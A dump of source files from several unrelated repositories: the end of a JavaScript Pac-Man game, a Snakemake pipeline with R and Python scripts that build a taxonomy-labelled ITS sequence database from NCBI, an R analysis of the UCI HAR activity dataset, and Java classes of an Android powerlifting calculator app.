squares[pacmanposi].classList.add('pac-man-up');
break
case 39://right
if(checkMove(pacmanposi+1)&& pacmanposi%width<width-1){
pacmanposi+=1;
squares[pacmanposi].classList.add('pac-man-right');
}
else if((pacmanposi+1)===392)
{
pacmanposi=364;
squares[pacmanposi].classList.add('pac-man-left');
}
else squares[pacmanposi].classList.add('pac-man-right');
break
case 40://down
if(checkMove(pacmanposi+width)&& pacmanposi+width<width*width)pacmanposi+=width;
squares[pacmanposi].classList.add('pac-man-down');
break
}
squares[pacmanposi].classList.add('pac-man');
if(mode==='chase')
{
for(let i=0;i<chase.length;i++)
{
ghosts[i].target=pacmanposi+chase[i];
}
}
pacPowerUp();
pacDotEaten();
checkWin();
}
function pacDotEaten()
{
if(squares[pacmanposi].classList.contains('pac-dot'))
{
score++;
scoreDisplay.innerHTML=score;
squares[pacmanposi].innerHTML='';
squares[pacmanposi].classList.remove('pac-dot');
}
}
function pacPowerUp()
{
if(squares[pacmanposi].classList.contains('power-pellet') && !ghosts[0].isScared)
{
score+=10
scoreDisplay.innerHTML=score;
ghosts.forEach(ghost=>ghost.isScared=true)
checkdead=setInterval(function(){
ghosts.forEach(ghost => {
if(squares[ghost.currentIndex].classList.contains('pac-man')|| squares[pacmanposi].classList.contains['ghost'])
{
squares[ghost.currentIndex].classList.remove(ghost.name,'ghost','scared-ghost')
ghost.currentIndex=ghost.startIndex;
squares[ghost.currentIndex].classList.add(ghost.name,'ghost','scared-ghost')
}
});
},100)
setTimeout(unScareGhosts,10000)
squares[pacmanposi].classList.remove('power-pellet');
}
}
function unScareGhosts()
{
clearInterval(checkdead);
ghosts.forEach(ghost=>{
ghost.isScared=false
squares[ghost.currentIndex].classList.remove('scared-ghost')
})
}
//function to convert index value in coords(X,Y)
function getCoordinates(index) {
return [index % width, Math.floor(index / width)]
}
//calculate distance between two points
function getDistance(x1,y1,x2,y2)
{
return (x1-x2)*(x1-x2)+(y1-y2)*(y1-y2);
}
class Ghost{
constructor(name,startIndex,speed,target){
this.name=name;
this.startIndex=startIndex;
this.speed=speed;
this.currentIndex=startIndex;
this.timerId=NaN;
this.isScared=false;
this.target=target;
this.lastMove=1;
}
}
ghosts=[
new Ghost('blinky',348,200,26),
new Ghost('pinky',376,250,729),
new Ghost('inky',351,230,755),
new Ghost('clyde',379,300,1)
]
ghosts.forEach(ghost=>{
squares[ghost.currentIndex].classList.add(ghost.name)
squares[ghost.currentIndex].classList.add('ghost');
});
//move ghosts logic
function moveGhosts(ghost) {
const directions = [-width,-1,+width,+1,]
ghost.timerId = setInterval(function() {
var low=2000;
var ans=-ghost.lastMove;//sets default movement direction to reverse of current direction
let targX, targY;
if(squares[ghost.currentIndex].classList.contains('ghost-lair'))//if ghost is in ghost lair sets its target as ghost lair entrance
{
targX=13
targY =10
}
else{
[targX, targY] = getCoordinates(ghost.target)
}
if(ghost.isScared)//if in scared state ghosts starts moving randomly
{
squares[ghost.currentIndex].classList.add('scared-ghost');
direction=directions[Math.floor(Math.random()*directions.length)];
if(!squares[ghost.currentIndex+direction].classList.contains('wall') && !squares[ghost.currentIndex+direction].classList.contains('ghost'))
{
squares[ghost.currentIndex].classList.remove('ghost',ghost.name,'scared-ghost');
ghost.currentIndex+=direction;
squares[ghost.currentIndex].classList.add('ghost',ghost.name,'scared-ghost');
}
else
{
direction=directions[Math.floor(Math.random()*directions.length)];
}
}
else
{
for(var dir of directions)//get direction from which target distance is lowest
{
if ( (!squares[ghost.currentIndex + dir].classList.contains('ghost-lair') || squares[ghost.currentIndex].classList.contains('ghost-lair') ) && !squares[ghost.currentIndex + dir].classList.contains('ghost') && !squares[ghost.currentIndex + dir].classList.contains('wall') && dir!=(-ghost.lastMove) && ghost.currentIndex + dir!=391)
{
const [ghostX, ghostY] = getCoordinates(ghost.currentIndex + dir)
var dist=getDistance(ghostX,ghostY,targX,targY);
if(dist<low)
{
ans=dir;
low=dist;
}
}
}
//moves in that direction
squares[ghost.currentIndex].classList.remove(ghost.name,'ghost','scared-ghost')
ghost.currentIndex+=ans;
ghost.lastMove=ans;//record ghost 's move
squares[ghost.currentIndex].classList.add(ghost.name,'ghost')
}
checkGameOver();
},ghost.speed)
}
function changeMode()
{
if(mode=='chase')
{
for(let i=0;i<scatter.length;i++)
{
ghosts[i].target=scatter[i];
}
mode='scatter'
}
else
{
for(let i=0;i<scatter.length;i++)
{
ghosts[i].target=pacmanposi+chase[i];
}
mode='chase'
}
}
function checkGameOver()
{
if(squares[pacmanposi].classList.contains('ghost') && !squares[pacmanposi].classList.contains('scared-ghost'))
{
ghosts.forEach(ghost => clearInterval(ghost.timerId));
clearInterval(modef)
document.removeEventListener('keydown',movePacman)
removePacman();
setTimeout(function(){
alert('GameOver');
},500)
}
}
function checkWin(){
if(score===274)
{
ghosts.forEach(ghost => clearInterval(ghost.timerId));
clearInterval(modef)
document.removeEventListener('keydown',movePacman)
setTimeout(function(){
alert('You Won');
},500)
}
}
})
| cf5624e24d1a5d3f3e070eb906de43fe2ae09a14 | [
"JavaScript"
] | 1 | JavaScript | Atharv-Bobde/Pac-man | d6ddbc4e5627a09be5a8e5948cc5919f5552fa2d | 024979607ada6a392fca545e65b2f868a814c577 |
refs/heads/master | <file_sep>#!/usr/bin/env Rscript
log <- file(snakemake@log[[1]], open = "wt")
sink(log, type = "message")
sink(log, type = "output", append = TRUE)
library(dada2)
fwd_in <- snakemake@input[["r1"]]
rev_in <- snakemake@input[["r2"]]
fwd_out <- snakemake@output[["r1"]]
rev_out <- snakemake@output[["r2"]]
filterAndTrim(fwd_in,
fwd_out,
rev_in,
rev_out,
maxN = 0,
multithread = FALSE,
matchIDs = TRUE)
sessionInfo()
<file_sep>#!/usr/bin/env Rscript
log <- file(snakemake@log[[1]], open = "wt")
sink(log, type = "message")
sink(log, type = "output", append = TRUE)
library(data.table)
# download taxdump (complete NCBI taxonomy)
taxdmp_url <- "ftp://ftp.ncbi.nih.gov/pub/taxonomy/taxdmp.zip"
temp2 <- tempfile(fileext = ".zip")
temp3 <- tempdir()
download.file(taxdmp_url, temp2)
# read nodes.dmp from inside taxdmp
nodes_dmp_file <- unzip(temp2, files = "nodes.dmp", exdir = temp3)
nodes_dmp_raw <- fread(nodes_dmp_file, sep = "|", quote = "\t", header = FALSE)
# tidy up nodes.dmp
nodes_dmp_raw[, V14 := NULL]
nodes_names <- c("tax_id", "parent_tax_id", "rank", "embl_code", "division_id",
"inherited_div_flag", "genetic_code_id", "inherited_GC",
"mitochondrial_genetic_code_id", "inherited_MGC_flag",
"GenBank_hidden_flag", "hidden_subtree_root_flag", "comments")
setnames(nodes_dmp_raw, names(nodes_dmp_raw), nodes_names)
nodes_dmp_raw[, tax_id := as.numeric(gsub("\t", "", tax_id, fixed = TRUE))]
setkey(nodes_dmp_raw, tax_id)
# read names.dmp from inside taxdmp
names_dmp_file <- unzip(temp2, files = "names.dmp", exdir = temp3)
names_dmp_raw <- fread(names_dmp_file, sep = "|", quote = "\t", header = FALSE)
# tidy up names.dmp
names_dmp_raw[, V5 := NULL]
names_names <- c("tax_id", "name_txt", "unique_name", "name_class")
setnames(names_dmp_raw, names(names_dmp_raw), names_names)
names_dmp_raw[, tax_id := as.numeric(gsub("\t", "", tax_id, fixed = TRUE))]
setkey(names_dmp_raw, tax_id)
# save output
saveRDS(nodes_dmp_raw, snakemake@output[['nodes_dmp']])
saveRDS(names_dmp_raw, snakemake@output[['names_dmp']])
# log
sessionInfo()
<file_sep>#!/usr/bin/env python3
import csv
import logging
from Bio import Entrez
from Bio import SeqIO
###########
# GLOBALS #
###########
search_term = snakemake.params['search_term']
email = snakemake.params['email']
genbank_file = snakemake.output['gb']
fasta_file = snakemake.output['fa']
acc_to_taxa = snakemake.output['acc_to_taxa']
# DEV: spermatocytes: txid58024[Organism]
# search_term = ('its1[Title] '
# 'AND txid58024[Organism]')
# genbank_file = 'output/gb/its1_58024.gb'
# fasta_file = 'output/fa/its1_58024.fa'
# acc_to_taxa = 'output/taxonomy/genbank_results.txt'
########
# MAIN #
########
def main():
# set up log
logging.basicConfig(
format='%(asctime)s %(levelname)-8s %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
filename=snakemake.log[0],
level=logging.INFO)
# identify myself to Entrez
if email == '':
raise ValueError(('Supply a valid email '
'(e.g. --config email=<EMAIL>)'))
Entrez.email = email
logging.info(f'search_term: {search_term}')
logging.info(f' email: {email}')
# initial search to get the number of hits and webenv
with Entrez.esearch(db='nucleotide',
term=search_term,
usehistory='y',
idtype='acc') as handle:
search_results = Entrez.read(handle)
number_of_hits = int(search_results['Count'])
webenv = search_results['WebEnv']
query_key = search_results['QueryKey']
logging.info("%i hits" % number_of_hits)
# download and parse genes 1000 at a time
batch_size = 1000
with open(genbank_file, 'w') as genbank_handle:
for start in range(0, number_of_hits, batch_size):
end = min(number_of_hits, start+batch_size)
logging.info("Start:\t%s\nEnd:\t%s" % (start, end))
fetch_handle = Entrez.efetch(
db='nucleotide',
idtype='acc',
rettype='gb',
retmode='text',
webenv=webenv,
query_key=query_key,
retstart=start,
retmax=batch_size)
gb_records = SeqIO.parse(fetch_handle, 'gb')
SeqIO.write(gb_records, genbank_handle, 'gb')
# read genbank file
with open(genbank_file, 'r') as genbank_handle:
gb_records = list(SeqIO.parse(genbank_file, 'gb'))
# rename to ID only
for record in gb_records:
record.description = ''
# write output
SeqIO.write(gb_records, fasta_file, 'fasta')
# wtf?
# test_blank = [x for x in gb_records if x.id == '']
# write long
lines = []
for record in gb_records:
for tax in record.annotations['taxonomy']:
lines.append([record.annotations['organism'], record.id, tax])
with open(acc_to_taxa, 'w') as f:
csv_writer = csv.writer(f)
csv_writer.writerow(['species', 'accession', 'taxon'])
csv_writer.writerows(lines)
if __name__ == '__main__':
main()
<file_sep>#!/usr/bin/env python3
import csv
from Bio import SeqIO
genbank_file = snakemake.input['gb']
taxonomy_file = snakemake.input['acc_to_taxa']
fasta_file = snakemake.output['fa']
# dev
# genbank_file = 'output/gb/its1_58024.gb'
# taxonomy_file = 'output/taxonomy/taxonomy.txt'
# fasta_file = 'output/fa/its1_58024_dada2.fa'
def main():
# read taxonomy file
accession_to_tax = {}
with open(taxonomy_file, 'rt') as f:
csv_reader = csv.reader(f, delimiter='\t')
for line in csv_reader:
accession_to_tax[line[0]] = line[1]
# read genbank file
gb_records = list(SeqIO.parse(genbank_file, 'gb'))
# update ids to match taxonomy
for record in gb_records:
record.description = ''
record.id = accession_to_tax[record.id]
# write output
SeqIO.write(gb_records, fasta_file, 'fasta')
if __name__ == '__main__':
main()
<file_sep>#!/usr/bin/env Rscript
log <- file(snakemake@log[[1]], open = "wt")
sink(log, type = "message")
sink(log, type = "output", append = TRUE)
library(data.table)
# parse taxonomy files
GenerateQiimeTaxonomyLine <- function(
x,
allowed_taxa = allowed_taxa,
ranks = ranks) {
# remove blank entries
all_names <- as.character(x[x != ''])
# subset allowed_taxa by taxon names in x
matched_taxa <- unique(allowed_taxa[x],
by = c("name_txt", "rank"))
# make sure every rank in ranks is represented
all_ranks <- merge(data.table(rank = ranks),
matched_taxa,
by = "rank",
all.x = TRUE)
all_ranks[, rank := factor(rank, levels = ranks)]
setorder(all_ranks, rank)
# replace NA with blanks
all_ranks[is.na(name_txt), name_txt := ""]
# use qiime format for taxa names (prefix with node class letter)
all_ranks[, name_qiime := paste(substr(rank, 1, 1), name_txt, sep = "_")]
return(all_ranks[, paste0(name_qiime, collapse = ";")])
}
# load data
tax_names <- readRDS(snakemake@input[["names_dmp"]])
tax_nodes <- readRDS(snakemake@input[["nodes_dmp"]])
acc_tax <- fread(snakemake@input[["acc_to_taxa"]])
acc_to_taxline <- snakemake@output[["acc_to_taxline"]]
# dev
# tax_names <- readRDS("data/ncbi/names.dmp.Rds")
# tax_nodes <- readRDS("data/ncbi/nodes.dmp.Rds")
# # taxonomy from genbank rbcL search results
# acc_tax <- fread("output/taxonomy/genbank_results.txt")
# acc_to_taxline <- "output/taxonomy/taxonomy.txt"
# generate list of acceptable names
ranks <- c("kingdom", "phylum", "class", "order", "family", "genus")
tax_ids_to_keep <- tax_nodes[rank %in% ranks, unique(tax_id)]
filtered_tax_names <- tax_names[tax_id %in% tax_ids_to_keep &
name_class == "scientific name"]
allowed_taxa <- merge(filtered_tax_names[, .(tax_id, name_txt)],
tax_nodes[, .(tax_id, rank)],
all.x = TRUE,
all.y = FALSE)
setkey(allowed_taxa, name_txt)
unique_taxa <- unique(allowed_taxa, by = c("name_txt", "rank"))
# generate a taxonomy line for each accession
taxo <- acc_tax[, .(
taxonomy = GenerateQiimeTaxonomyLine(
taxon, unique_taxa, ranks)),
by = .(accession, species)]
# add species from acc_tax
taxo[, species := gsub("[^[:alnum:]]+", ".", species)]
taxo[, taxonomy := paste(taxonomy, species, sep = ";s_")]
taxo[, species := NULL]
# write output
fwrite(taxo,
file = acc_to_taxline,
quote = FALSE,
sep = "\t",
col.names = FALSE)
# log
sessionInfo()
<file_sep>#!/usr/bin/env python3
###########
# GLOBALS #
###########
configfile: "config.yaml"
bioconductor = ('shub://TomHarrop/singularity-containers:bioconductor_3.9'
'@752a9788043f6a471665da4e270cd870')
biopython = ('shub://TomHarrop/singularity-containers:biopython_1.73'
'@4a2a83e0cdff509c33227ef55906c72c')
########
# MAIN #
########
email = config['email'] if 'email' in config else ''
#########
# RULES #
#########
wildcard_constraints:
gene_name = '\w+',
txid = '\d+'
rule convert_fa_to_dada2:
input:
gb = 'output/010_database/{gene_name}-{txid}.gb',
acc_to_taxa = 'output/010_database/{gene_name}-{txid}_acctotaxline.tab',
output:
fa = 'output/010_database/{gene_name}-{txid}_dada2.fa',
log:
'output/logs/010_database/convert_fa_to_dada2_{gene_name}-{txid}.log'
singularity:
biopython
script:
'src/convert_fa_to_dada2.py'
rule map_accession_to_taxonomy:
input:
nodes_dmp = 'output/010_database/ncbi-nodes-dmp.Rds',
names_dmp = 'output/010_database/ncbi-names-dmp.Rds',
acc_to_taxa = 'output/010_database/{gene_name}-{txid}_acctotax.csv',
output:
acc_to_taxline = ('output/010_database/'
'{gene_name}-{txid}_acctotaxline.tab')
log:
('output/logs/010_database/'
'map-accession-to-taxonomy_{gene_name}-{txid}.log')
singularity:
bioconductor
script:
'src/map_accession_to_taxonomy.R'
rule download_amp_sequences:
params:
search_term = lambda wildcards:
f'{wildcards.gene_name}[Title] AND txid{wildcards.txid}[Organism]',
email = email
output:
fa = 'output/010_database/{gene_name}-{txid}.fa',
gb = 'output/010_database/{gene_name}-{txid}.gb',
acc_to_taxa = 'output/010_database/{gene_name}-{txid}_acctotax.csv'
log:
'output/logs/010_database/download-amp-sequences_{gene_name}-{txid}.log'
singularity:
biopython
script:
'src/download_amp_sequences.py'
rule download_ncbi_taxonomy_db:
output:
nodes_dmp = 'output/010_database/ncbi-nodes-dmp.Rds',
names_dmp = 'output/010_database/ncbi-names-dmp.Rds'
log:
'output/logs/010_database/download_ncbi_taxonomy_db.log'
singularity:
bioconductor
script:
'src/download_ncbi_taxonomy_db.R'
| ab42c5f1636e81b14d8b04c033671022fe5a4158 | [
"Python",
"R"
] | 6 | R | TomHarrop/pollen-its | 58fbeab0a11ef1850cde5c9f801d04e71fb64e47 | 84ca342155cdcb0b584c447ac4f868a3814d6e9a |
refs/heads/master | <file_sep>## Getting and Cleaning Data
# # run_analysis.R
#1. Combine data
activitiesList.test = read.table(file = "UCI HAR Dataset/test/y_test.txt")
activitiesList.train = read.table(file = "UCI HAR Dataset/train/y_train.txt")
activitiesList.onedata = rbind(activitiesList.test,activitiesList.train)
# test.data = read.table(file = paste(datadir,"UCI HAR Dataset//test/X_test.txt",sep=""),row.names = is.character(activitiesList.test))
test.data = read.table(file = "UCI HAR Dataset/test/X_test.txt")
train.data = read.table(file = "UCI HAR Dataset/train/X_train.txt")
onedata.data = rbind(train.data,test.data)
#2. features subset
featureFile <- readLines("features.txt")
feature_ind <- grep("std|mean",featureFile)
write.table(featureFile[feature_ind],file = "features_ms.txt",quote = FALSE, row.names = FALSE, col.names = FALSE)
featuredata = onedata.data[,feature_ind]
featureMat <- as.matrix(featuredata)
#3. descriptive activity names
# activitiesList.onedata[2,1]
activitiesMap = read.table(file = "./activity_labels.txt")
activitiesList.tmp <- as.matrix(activitiesList.onedata)
for (n in activitiesMap[,1]) {
activitiesList.tmp <- gsub(activitiesMap[n,1],activitiesMap[n,2],activitiesList.tmp)
}
activitiesList.descrip <- activitiesList.tmp
# rename the row names or column names
rownames(featureMat,do.NULL = TRUE,prefix = "KQR")
rownames(featureMat) <- activitiesList.descrip
#4. descriptive variable names for data sets
newName <- function(oldName, Mapfile) {
# change oldName to newName
# using Mapfile two column map file
Map = read.table(file = Mapfile)
rownames(Map) <- Map$V1
tmp <- (oldName)
for (n in Map[,1]) {
tmp <- gsub(paste("^V",Map[as.character(n),1],"$",sep = ""),Map[as.character(n),2],tmp)
}
tmp
}
# Map = read.table(file = "features_ms.txt")
# rownames(Map) <- Map$V1
# tmp <- (colnames(featuredata))
# for (n in Map[,1]) {
# tmp <- gsub(paste("^V",Map[as.character(n),1],"$",sep = ""),Map[as.character(n),2],tmp)
# }
# tmp
dataSetName <- newName(colnames(featuredata),"features_ms.txt")
# rename the col names
colnames(featureMat,do.NULL = TRUE,prefix = "KQC")
colnames(featureMat) <- dataSetName
#5. average per activity per subject
subjectList.test = read.table("./test/subject_test.txt")
subjectList.train = read.table("./train/subject_train.txt")
subjectList.onedata = rbind(subjectList.test,subjectList.train)
Nsubjects <- length(unique(subjectList.onedata)[[1]] )
totRow <- Nsubjects*length(activitiesMap[,2])
subject <- matrix(data=NA,nrow=totRow,ncol=length(dataSetName))
rownames(subject) <- rep(activitiesMap[,2], Nsubjects)
colnames(subject) <- dataSetName
for (n in sort(unique(subjectList.onedata)[,1]) ) {
# for each subject
sub <- featureMat[subjectList.onedata==n,]
sub_m <- matrix(data=NA,nrow=length(activitiesMap[,2]),ncol=length(dataSetName))
# dim(sub_m) <- c(length(activitiesMap[,2]),length(dataSetName))
rownames(sub_m) <- activitiesMap[,2]
for (a in activitiesMap[,2]){
sub_m[a,] <- colMeans(sub[rownames(sub)==a,])
}
subject[(1+(n-1)*length(activitiesMap[,2])):(n*length(activitiesMap[,2])), ] <- sub_m
}
# NOTE: it seems the data was messed up. standard deviation has negative values! e.g. column 4,5,6.
# 1 tBodyAcc-mean()-X
# 2 tBodyAcc-mean()-Y
# 3 tBodyAcc-mean()-Z
# 4 tBodyAcc-std()-X
# 5 tBodyAcc-std()-Y
# 6 tBodyAcc-std()-Z
# ...
tidydata <- subject
write.table(tidydata,file = "tidydata.txt",row.names = FALSE) | 98cd472fc1cdfe96cd81e47d081e25d19da8c9c4 | [
"R"
] | 1 | R | boudoir1982/Getting-And-Cleaning-Data-Project | 61077e82459b77ac0486475b8c58c9f3358b322b | 89621ec195cfe39e5f8a9f6292221101570cd53f |
refs/heads/master | <file_sep>package com.powerlifting.calc.views;
import android.content.Context;
import android.graphics.Typeface;
import android.util.AttributeSet;
import android.widget.TextView;
import com.powerlifting.calc.Config;
import com.powerlifting.calc.TypeFaceProvider;
public class CustomFontTextView extends TextView {
public CustomFontTextView(Context context) {
super(context);
setCustomFont();
}
public CustomFontTextView(Context context, AttributeSet attrs) {
super(context, attrs);
setCustomFont();
}
public CustomFontTextView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
setCustomFont();
}
public void setCustomFont() {
int fontIndex = Config.getFontType();
if (fontIndex == 0) {
return;
}
String customFont = Integer.toString(fontIndex) + ".ttf";
this.setTypeface(TypeFaceProvider.getTypeFace(getContext(), customFont));
}
public void setCustomFont(String fontName) {
if (fontName.equals("0")) {
return;
}
this.setTypeface(TypeFaceProvider.getTypeFace(getContext(), fontName+ ".ttf"));
}
}
<file_sep>package com.powerlifting.calc.views;
import android.content.Context;
import android.util.AttributeSet;
import android.widget.EditText;
import com.powerlifting.calc.Config;
import com.powerlifting.calc.TypeFaceProvider;
public class CustomFontEditText extends EditText {
public CustomFontEditText(Context context) {
super(context);
setCustomFont();
}
public CustomFontEditText(Context context, AttributeSet attrs) {
super(context, attrs);
setCustomFont();
}
public CustomFontEditText(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
setCustomFont();
}
private void setCustomFont() {
int fontIndex = Config.getFontType();
if (fontIndex == 0) {
return;
}
String customFont = Integer.toString(fontIndex) + ".ttf";
this.setTypeface(TypeFaceProvider.getTypeFace(getContext(), customFont));
}
}
<file_sep>package com.powerlifting.calc;
import android.app.Service;
import android.content.Context;
import android.content.SharedPreferences;
import android.view.inputmethod.InputMethodManager;
import android.widget.EditText;
public class Utils {
private final static int OFFSET = 4;
private final static int PERCENT_STEP = 5;
public static float round(float val) {
float ans = Math.round(val * 10);
ans /= 10;
return ans;
}
public static void saveVal(String type, float val, Context context) {
SharedPreferences pref;
pref = context.getSharedPreferences("settings", 0);
SharedPreferences.Editor ed = pref.edit();
ed.putFloat(type, val);
ed.commit();
}
public static float loadVal(String type, Context context) {
SharedPreferences pref;
pref = context.getSharedPreferences("settings", 0);
return pref.getFloat(type, 0);
}
public static float[][] calculateWeights(float weight, int reps, int type) {
float maxWeight = getMaxWeightByType(weight, reps, type);
float percent = maxWeight / 100;
float[][] weights;
if (!Config.getIsExtended()) {
weights = new float[2][10];
for (int i = 9; i >= 0; i--) {
weights[0][i] = Utils.round(maxWeight / Config.COEFFICIENTS[type][i]);
weights[1][i] = Utils.round(weights[0][i] / percent);
}
} else {
weights = new float[2][10 + OFFSET];
for (int i = 0; i < OFFSET; i++) {
weights[1][i] = Utils.round(100 + ((OFFSET - i) * PERCENT_STEP));
weights[0][i] = Utils.round(maxWeight * (weights[1][i] / 100));
}
for (int i = 13; i >= OFFSET; i--) {
weights[0][i] = Utils.round(maxWeight / Config.COEFFICIENTS[type][i - OFFSET]);
weights[1][i] = Utils.round(weights[0][i] / percent);
}
}
return weights;
}
public static float getMaxWeightByType(float weight, int reps, int type) {
return Utils.round(Config.COEFFICIENTS[type][reps] * weight);
}
public static void hideKeyBoard(Context context, EditText editText) {
InputMethodManager imm = (InputMethodManager) context.getSystemService(Service.INPUT_METHOD_SERVICE);
imm.hideSoftInputFromWindow(editText.getWindowToken(), 0);
editText.clearFocus();
}
public static String[][] getNormsByType(int type, Context context) {
String[] data = null;
if (!Config.getYourGender()) {
switch (type) {
case 0:
data = context.getResources().getStringArray(R.array.ipf_norms_male);
break;
case 1:
data = context.getResources().getStringArray(R.array.wpc_norms_male);
break;
case 2:
data = context.getResources().getStringArray(R.array.awpc_norms_male);
break;
}
} else {
switch (type) {
case 0:
data = context.getResources().getStringArray(R.array.ipf_norms_female);
break;
case 1:
data = context.getResources().getStringArray(R.array.wpc_norms_female);
break;
case 2:
data = context.getResources().getStringArray(R.array.awpc_norms_female);
break;
}
}
assert data != null;
String[][] normsData = new String[data.length][data.length];
for (int i = 0; i < data.length; i++) {
normsData[i] = data[i].split(" ");
}
return normsData;
}
public static String[] getCategoryNames(Context context) {
return context.getResources().getStringArray(R.array.categories);
}
public static float kgToLbs(float kg) {
return 2.20462262f * kg;
}
public static void reset(Context context) {
SharedPreferences preferences = context.getSharedPreferences("settings", 0);
SharedPreferences.Editor editor = preferences.edit();
editor.clear();
editor.commit();
}
}
<file_sep>POM_NAME=Edge Effect Override - Library
POM_ARTIFACT_ID=edgeeffectoverride
POM_PACKAGING=aar<file_sep>package com.powerlifting.calc.fragments;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.SystemClock;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.ToggleButton;
import com.powerlifting.calc.CategoryManager;
import com.powerlifting.calc.Config;
import com.powerlifting.calc.MainActivity;
import com.powerlifting.calc.OnFontChangeListener;
import com.powerlifting.calc.R;
import com.powerlifting.calc.Utils;
import com.powerlifting.calc.adapters.SpinnerAdapter;
import java.util.Arrays;
import java.util.List;
import static android.view.View.OnClickListener;
public class SettingsFragment extends Fragment {
private EditText yourWeightText;
private OnClickListener listener = new OnClickListener() {
@Override
public void onClick(View v) {
Utils.hideKeyBoard(getActivity(), yourWeightText);
View view = ((ViewGroup) v).getChildAt(1);
view.requestFocus();
view.performClick();
}
};
private Spinner priorityFederation;
private Spinner customFont;
private CheckBox isExtended;
private ToggleButton gender;
private ToggleButton measure;
private OnFontChangeListener onFontChangeListener;
private OnClickListener yourWeightListener = new OnClickListener() {
@Override
public void onClick(View v) {
//TODO fix keyboard
yourWeightText.requestFocus();
yourWeightText.dispatchTouchEvent(MotionEvent.obtain(SystemClock.uptimeMillis(),
SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN, 0, 0, 0));
yourWeightText.dispatchTouchEvent(MotionEvent.obtain(SystemClock.uptimeMillis(),
SystemClock.uptimeMillis(), MotionEvent.ACTION_UP, 0, 0, 0));
yourWeightText.setSelection(yourWeightText.getText().length());
}
};
public void setOnFontChangeListener(OnFontChangeListener onFontChangeListener) {
this.onFontChangeListener = onFontChangeListener;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.settings_fragment, null);
//Weight setting
yourWeightText = (EditText) view.findViewById(R.id.your_weight);
yourWeightText.setText(Float.toString(Config.getYourWeight()));
view.findViewById(R.id.your_weight_settings).setOnClickListener(yourWeightListener);
//Federation setting
priorityFederation = (Spinner) view.findViewById(R.id.priority_federation);
List<String> priorityFederationData = Arrays.asList(getResources()
.getStringArray(R.array.federations_names));
SpinnerAdapter adapter = new SpinnerAdapter(getActivity(), R.layout.spiner_item, priorityFederationData, false);
priorityFederation.setAdapter(adapter);
priorityFederation.setSelection(Config.getYourFederation());
priorityFederation.setOnItemSelectedListener(null);
view.findViewById(R.id.priority_federation_settings).setOnClickListener(listener);
//Font setting
customFont = (Spinner) view.findViewById(R.id.custom_font);
List<String> customFonts = Arrays.asList(getResources().getStringArray(R.array.fonts_names));
SpinnerAdapter customFontsAdapter = new SpinnerAdapter(getActivity(), R.layout.spiner_item, customFonts, true);
customFont.setAdapter(customFontsAdapter);
customFont.setSelection(Config.getFontType());
customFont.setOnItemSelectedListener(null);
view.findViewById(R.id.custom_font_settings).setOnClickListener(listener);
//Extended partition in calc setting
isExtended = (CheckBox) view.findViewById(R.id.is_extended);
isExtended.setChecked(Config.getIsExtended());
view.findViewById(R.id.is_extended_settings).setOnClickListener(listener);
//Gender setting
gender = (ToggleButton) view.findViewById(R.id.gender);
gender.setChecked(Config.getYourGender());
view.findViewById(R.id.gender_settings).setOnClickListener(listener);
//Measure setting
measure = (ToggleButton) view.findViewById(R.id.measure);
measure.setChecked(Config.getYourMeasure());
view.findViewById(R.id.measure_settings).setOnClickListener(listener);
//Reset setting
view.findViewById(R.id.reset).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
Utils.reset(getActivity());
restartApplication(300);
}
});
return view;
}
private void restartApplication(int millis) {
Intent mStartActivity = new Intent(getActivity(), MainActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(getActivity(), 123456,
mStartActivity, PendingIntent.FLAG_CANCEL_CURRENT);
AlarmManager mgr = (AlarmManager) getActivity().getSystemService(Context.ALARM_SERVICE);
mgr.set(AlarmManager.RTC, System.currentTimeMillis() + millis, pendingIntent);
System.exit(0);
}
public int determineWeightCategoryIndex(float weight) {
//TODO alg: determine weight category
int weightIndex = 0;
float[] weightCategories = CategoryManager.getWeightCategories(getActivity());
int normsSize = weightCategories.length - 1;
for (int i = 0; i < normsSize; i++) {
if (weightCategories[i] < weight && weight <= weightCategories[i + 1]) {
weightIndex = i + 1;
}
}
//Last category with "+"
if (weightIndex == 0 && weight > weightCategories[normsSize]) {
weightIndex = normsSize;
}
return weightIndex;
}
/**
* Save settings after exit from settings
* while navigation drawer is open
*/
@Override
public void onPause() {
super.onPause();
float yourWeight = Float.valueOf(yourWeightText.getText().toString());
int federationType = priorityFederation.getSelectedItemPosition();
int fontType = customFont.getSelectedItemPosition();
Config.setYourWeight(yourWeight);
Config.setYourFederation(federationType);
Config.setFontType(fontType);
Config.setIsExpanded(isExtended.isChecked());
Config.setYourGender(gender.isChecked());
Config.setYourMeasure(measure.isChecked());
// int weightIndex = determineWeightCategoryIndex(yourWeight);
Config.setYourWeightIndex(2);
onFontChangeListener.onFontChange();
}
}
<file_sep>package com.powerlifting.calc.adapters;
import android.content.Context;
import android.support.v4.view.PagerAdapter;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.powerlifting.calc.Config;
import com.powerlifting.calc.R;
import com.powerlifting.calc.Utils;
import uk.co.androidalliance.edgeeffectoverride.EdgeEffectListView;
public class ViewPagerAdapter extends PagerAdapter {
private final Context context;
private final LayoutInflater inflater;
public ViewPagerAdapter(Context context) {
this.context = context;
inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
}
@Override
public Object instantiateItem(ViewGroup collection, int type) {
View page = inflater.inflate(R.layout.view_pager_item, null);
EdgeEffectListView listView = (EdgeEffectListView) page.findViewById(R.id.list_view);
float[][] data = Utils.calculateWeights(Config.getWeightByType(type), Config.getRepsByType(type), type);
ListVewAdapter listVewAdapter = new ListVewAdapter(context, data);
listView.setAdapter(listVewAdapter);
collection.addView(page);
return page;
}
@Override
public int getCount() {
return 3;
}
@Override
public void destroyItem(ViewGroup collection, int position, Object view) {
collection.removeView((View) view);
}
@Override
public boolean isViewFromObject(View v, Object obj) {
return v == obj;
}
@Override
public int getItemPosition(Object object) {
return POSITION_NONE;
}
}
